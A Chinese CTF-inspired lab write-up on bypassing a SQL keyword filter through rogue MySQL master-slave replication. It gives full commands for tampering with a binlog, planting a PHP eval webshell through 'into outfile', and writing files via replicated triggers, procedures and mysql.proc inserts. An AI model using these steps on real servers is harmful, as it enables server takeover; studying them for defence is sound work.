情景

我们可以让我们靶机的数据库执行我们提交的任意的 sql 语句,但是靶机过滤了 intooutfiledumpfile 关键字。这样我们即使拿下了数据库的权限,也无法进一步拿下服务器的权限。

这篇文章围绕通过 构造恶意的 MySQL 主从服务器 ,来绕过 sql 语句的 waf (主要是过滤 上传文件 的关键字),从而通过数据库上传木马文件到服务器来进一步提权(这里假设靶机数据库的 secure_file_priv 是关闭的,靶机唯一的防线就是对 sql 语句的 waf )。

方式一:修改binlog文件

通过构造恶意的 MySQL 主从服务器,让靶机的 MySQL 同步我们攻击机 MySQL 执行的 sql 语句。这里通过修改 binlog 文件来实现同步恶意 sql 语句。

利用实验

环境搭建

攻击机 kaliIP 为:192.168.163.133
靶机 ubuntuIP 为:192.168.163.129

Docker 在两台机器上搭建 MySQL 环境。

1
docker run -id -p 3306:3306 --name=mysql_demo01 -e MYSQL_ROOT_PASSWORD=root mysql:8.0.27

然后在两台机器上执行下面的命令来安装 vim 。参考 MySQL主从同步

1
2
3
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 467B942D3A79BD29
apt-get update
apt-get install vim -y

然后将靶机的 secure_file_priv 参数修改为空,然后重启 MySQL

利用步骤

配置攻击机成为主从同步的master节点

配置攻击机,让其成为 MySQL 主从同步的 master 节点。

首先在 MySQL 的命令行执行下面的语句。

注意:
由于 MySQL-8.0 以上的默认密码认证方式是 caching_sha2_password ,而非 mysql_native_password 。如果我们这里不指定 slave 用户的密码认证方式是 mysql_native_password ,之后 slave 节点就会认证用户失败。报错信息是:error connecting to master 'slave_rep@192.168.163.133:3306' - retry-time: 60 retries: 8 message: Authentication plugin 'caching_sha2_password' reported error: Authentication requires secure connection. (如果靶机的 MySQL 版本在 8.0 以下就没这个问题了)

1
2
3
4
# 创建slave_rep用户,密码是123456,可以任意ip段连接,并且指定密码认证方式是mysql_native_password
CREATE USER 'slave_rep'@'%' IDENTIFIED WITH 'mysql_native_password' BY '123456';
# 对创建的用户赋予复制权限
GRANT REPLICATION SLAVE ON *.* TO 'slave_rep'@'%';

然后修改攻击机 MySQL 的配置文件 my.cnf

这里又需要注意:
这里不能指定 server-id=1 ,因为我们无法控制靶机的配置文件,因此无法为靶机配置 server-id 属性。因此靶机的 server-id 就为默认值 1 。如果我们这里攻击机的 server-id 也设置为 1 ,后面靶机 slave 节点也无法成功连接攻击机 master 节点。报错信息是:Fatal error: The slave I/O thread stops because master and slave have equal MySQL server ids; these ids must be different for replication to work (or the --replicate-same-server-id option must be used on slave but this does not always make sense; please check the manual before using it).

1
2
3
4
5
6
secure-file-priv=
server-id=2
log-bin=mysql-bin
binlog_checksum=NONE
binlog_format=STATEMENT
master_verify_checksum=OFF

然后重启攻击机 MySQL

写入exp到攻击机的binlog文件

在攻击机的 MySQL 上创建一个数据库,创建成功后 binlog 文件就会自动导入创建这个数据库的 sql 语句。

需要注意的是:
这里 sql 语句的长度就决定了等下我们能写入的 exp 的长度,因为两个的长度需要相等才能绕过对 binlog event 正确性的检查。而数据库名称的长度是有限制的,因此我们最好尽量给 sql 语句多加一点参数,让其尽量长一点。从而让我们的 exp 也能够更长一些。

1
create database if not exists zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci;

接着我们在攻击机的 MySQL 执行 show master status 命令来查看攻击机当前的 binlog 文件名。

接着我们通过 xxd 命令查看一下的 mysql-bin.000003 文件来查看是否有上面我们刚刚执行的 sql 语句。

1
xxd mysql-bin.000003

发现确实存在。

通过 mysqlbinlog 命令也可以说明成功写入了 sql 语句到 binlog 文件中。

然后我们使用 sed 命令来替换 mysql-bin.000003 文件中刚刚那个 sql 语句为 exp

1
2
3
# s/表示替换,/g表示全局替换
# 这里示例上传一个一句话木马,注意控制一句话木马的长度,还有一句话木马的特殊字符需要在shell命令行中被转义
sed -i "s/create database if not exists zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci/select '<?php eval(\$\_POST\[1\]);echo 123;?>' into outfile '11111111111111111111111111111111111111111111111111111111111111111111111111111111.php'/g" /var/lib/mysql/mysql-bin.000003

然后通过 mysqlbinlog 命令来查看这个文件,发现已经成功写入 select 语句了。

配置靶机成为攻击机的slave

执行下面的 sql ,让我们构造恶意 MySQL 服务器成为靶机的 master 节点。

1
2
3
change master to master_host='192.168.163.133',master_user='slave_rep',master_password='123456',master_port=3306,
master_log_file='mysql-bin.000003', master_log_pos=227;
start slave;

这里 master_log_file 的值就是上面我们在 master 节点上写入了 expbinlog 文件( mysql-bin.000003), master_log_pos 的值是上面我们写入 exp 的那个 event 块位置的开头字节号( at 227 ,而不是像我们正常配置主从同步集群的时候配置的是 event 块位置的结尾字节号,也就是 end_log_pos ,否则 slave 节点开始同步 sql 语句就会从 exp 的下一个 event 开始,而不会执行 exp 所在 eventsql 语句)。

PS
我们设置的 master_log_pos 的值为多少,到时候 slave 节点连上 master 节点就会从哪个字节号开始执行 sql 语句。( master_log_pos 的值必须是一个 event 块字节号的开头,不能在一个 event 块的中间。)

然后就可以成功执行 exp 了。

但是需要注意的是:
这里我示范写入的文件在 原本数据库(zzzz.....) 为名称的当前目录下(因为没有写绝对路径),因此其实上面如果一开始就在 master 节点上就先修改 binlog ,那么 slave 节点就无法同步创建 zzzz.... 这个数据库,也就不会有 zzzz.... 这个目录,我们在写入文件的时候就会报错找不到 zzzz.... 这个目录。(我们虽然修改了 sql 语句,但是通过 xxd 命令查看 binlog 信息,会发现数据库的信息还是会存在,因此我猜测虽然我们篡改了 binlog 日志,让靶机不会同步创建原本应该创建的数据库,但是靶机还是会把上传的文件上传到这个应该原本创建的数据库的目录下)
因此其实这里应该先走正常的流程,不修改 binlog 文件,让 slave 节点创建了这个数据库。然后再修改 binlog 文件,再让 slave 节点同步操作。这样在写入木马的时候就不会报找不到目录的错误了。
但其实正常情况下,我们写入木马文件应该写绝对路径,因为当前路径的位置不好确定,不一定靶机的 MySQL 就存放在正常的位置。但是需要注意的是,MySQL 运行时的用户权限较低,写绝对路径的时候可能会存在权限不足,写入不了目录的情况。

之所以我发现了上面的问题,是因为我刚开始不知道为什么木马一直写入不进去。通过 show slave status 命令会发现报错 Coordinator stopped because there were error(s) in the worker(s). The most recent failure being: Worker 1 failed executing transaction 'NOT_YET_DETERMINED' at master log mysql-bin.000003, end_log_pos 563. See error log and/or performance_schema.replication_applier_status_by_worker table for more details about this failure or others, if any. 。然后我们再通过报错信息查看 performance_schema.replication_applier_status_by_worker 表。发现 MySQL 有下面的报错信息:

1
Worker 1 failed executing transaction 'NOT_YET_DETERMINED' at master log mysql-bin.000005, end_log_pos 903; Error 'Can't create/write to file '/var/lib/mysql/zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz/11111111x`111111111111111111111111111111111111111111111111111111111111111111111111.php' (OS errno 2 - No such file or directory)' on query. Default database: 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'. Query: 'select '<?php eval($_POST[1]);echo 123;?>' into outfile '11111111111111111111111111111111111111111111111111111111111111111111111111111111.php''

因此我才发现了写入木马之前还是需要正常先创建好应该创建的数据库,不然就会没有 zzzz.... 这个数据库的信息目录。

方式二:创建trigger/function/procedure

冷知识:trigger function procedure ⾥可以存储 select 语句。

主从同步创建 triggerfunctionprocedure ,通过主从同步同步到靶机,然后在靶机上执⾏即可。

利用实验

方式二的实验开头和方式一一样,都是先配置攻击机成为主从同步的 master 节点。

但是第二步不是写入 exp 到攻击机的 binlog 文件,而是和靶机同步创建 trigger/function/procedure ,写入 exptrigger/function/procedure 中。

这里我们就不重复上面方式一搭建主从同步的配置了,直接开始写入 exptrigger/function/procedure 这一步。

当前环境:攻击机 192.168.163.133 ,靶机 192.168.163.129 ,并且两个机器的 MySQL 已经成功搭建好了主从同步。

在攻击机执行下面的命令(任选一种),靶机会自动同步也执行下面的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 使用trigger
create database a;
use a;
create table a(id int) engine='memory';
create trigger t before insert on a.a for each row select 1 into outfile '/tmp/trigger';
# insert into a values(exp)
insert into a values(114);

# 使用procedure
DELIMITER //
CREATE PROCEDURE exp()
BEGIN
SELECT 1 into outfile '/tmp/procedure';
END //
call exp();

# 使用function
DELIMITER //
CREATE function exp()
RETURNS CHAR(50) DETERMINISTIC
BEGIN
SELECT 1 into outfile '/tmp/function';
return('2');
END //
select exp();

上面的命令任选一种方式执行完后(这里我使用的是第一种),我们会发现攻击机和靶机的 /tmp 命令下都成功写入了 exp

方式三:仅用insert语句写入webshell

原理

方式三和方式二的思路一样,也是创建 trigger/procedure/function ,但是不是通过常规的命令创建。而是通过写入 trigger/procedure/function 所存放在的表来创建他们。

需要注意的是,MySQL 8.0 之前的版本,存储过程是存放在 mysql.proc 表中的,并且这个表可以直接被修改,因此我们可以直接用 insert 写入存储过程。但是在 MySQL 8.0 之后,没有了 mysql.proc 表,trigger/procedure/function 都存放在 information_schema 数据库中,而 information_schema 数据库只能读取,不能修改,因此方式三就没办法用了。

补充:
MySQL-8.0 之前,trigger 存放在 information_schema.TRIGGERS 中,procedurefunction 不仅都存放在 information_schema.ROUTINES 中还存放在 mysql.proc 中,虽然 information_schema 数据库不能被修改,但是 mysql.proc 是用户可以修改的。而且 mysql.proc 数据库修改后 information_schema 数据库也会同步修改,因此我们就可以通过 mysql.proc 表来添加 procedure/function

MySQL-8.0 之后,取消了 mysql.proc 表,上面 information_schema 库中的表没变。

利用实验

1
2
3
4
5
insert into mysql.proc values ('a', 'exp', 'PROCEDURE', 'exp', 'SQL', 'CONTAINS_SQL', 'NO', 'DEFINER', '', '', 'BEGIN  
SELECT \'exp...\' into outfile \'/tmp/procedure\';
END', 'root@localhost', '2023-08-30 14:36:29', '2023-08-30 14:36:29', 'STRICT_TRANS_TABLES', '', 'utf8mb4', 'utf8mb4_general_ci', 'utf8_unicode_ci', 'BEGIN
SELECT \'exp...\' into outfile \'/tmp/procedure\';
END');

发现确实成功写入了 procedure

分析

通过前两种方式实验的对比(第三种方式归为第二种),发现其实第二种方式简单很多,其实第一种方式没什么实战意义,一般只会禁用 intooutfiledumpfile ,这时直接用第二种方式就可以了。第一种只是用于多学会一种姿势技巧。如果在禁用了 intooutfiledumpfile 关键字的基础上还禁用了 triggerfunctionprocedurecall 关键字,就可以考虑使用第一种方式。

灵感来源题目

WMCTF 2023 WEB-ezblog

参考文章

1
2
https://blog.csdn.net/wawa8899/article/details/86689618
https://www.modb.pro/db/29919